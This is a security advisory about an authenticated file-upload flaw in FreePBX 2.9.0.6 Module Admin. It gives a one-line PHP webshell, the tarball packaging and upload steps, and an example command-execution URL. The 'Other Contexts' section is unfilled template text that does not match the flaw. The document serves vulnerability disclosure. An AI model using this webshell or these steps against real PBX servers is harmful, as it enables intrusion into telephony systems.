====[ Alligator Security Team
]===============================================

FreePBX - Module Administration Arbitrary File Upload

Members: Tiago Ferreira < tiago SPAM alligatorteam.org >

====[ Table of Contents
]=====================================================

1. Overview
2. Detailed description
3. Other Contexts & Solutions
4. Thanks
5. References

====[ Overview
]==============================================================

    * Systems affected: FreePBX
    * Version: 2.9.0.6 (other versions may be affected)
    * Release date: [Example Date]
    * Impact: Remote command execution

"FreePBX is an easy to use GUI (graphical user interface) that controls and
manages Asterisk, the world's most popular open source telephony engine
software. FreePBX has been developed and hardened by thousands of volunteers
over tens of thousands man hours. FreePBX has been downloaded over 5,000,000
times and estimates over 500,000 active phone systems."[1]

The functionality Module Admin, available for authenticated users within
the administrative interface of FreePBX, is prone to a vulnerability which
enables an attacker to upload malicious PHP files, and thus, perform remote
arbitrary code execution within the context of a web server user."

====[ Detailed description
]==================================================

In order to exploit this vulnerability and execute remote commands on a
vulnerable FreePBX instance, access to Module Admin (Admin > Setup > Module
Admin or, Tools > Setup > Module Admin) is needed. This can be aquired by
following the given steps:

1. Create a directory like: webshell
2. Get a PHP file web trojan (webshell.php)

Ex.: <? if($_GET['cmd']) {  system($_GET['cmd']);  }?>

3. Put this file into the webshell directory and create a tarball. This zip
file name needs to follow the given rule: name-version.[tar|tar.gz|tgz], to
our webshell we will do this: tar -czvf webshell-1.0.tar.gz webshell/.

4. On the upload form, browse to the file wbshell-1.0.tar.gz and send it.

When the file is uploaded with success, the path for accessing the trojan
will be: /admin/modules/webshell/webshell.php.

Now, the possibility for executing remote system commands is possible using
the uploaded trojan.

Ex: http://127.0.0.1/admin/modules/webshell/webshell.php?cmd=whoami

====[ Other Contexts & Solutions
]============================================

Description of a possible use case of the mentioned vulnerability.

Ex (DoS): A potential attacker could take advantage of this issue to disable
the services provided by [software/device] for as long as the attacks
occurs.

====[ Thanks/Acknowledgements
]===============================================

- Joaquim Brasil < joaquim SPAM alligatorteam.org >


====[ References
]============================================================

- [1] http://www.freepbx.org/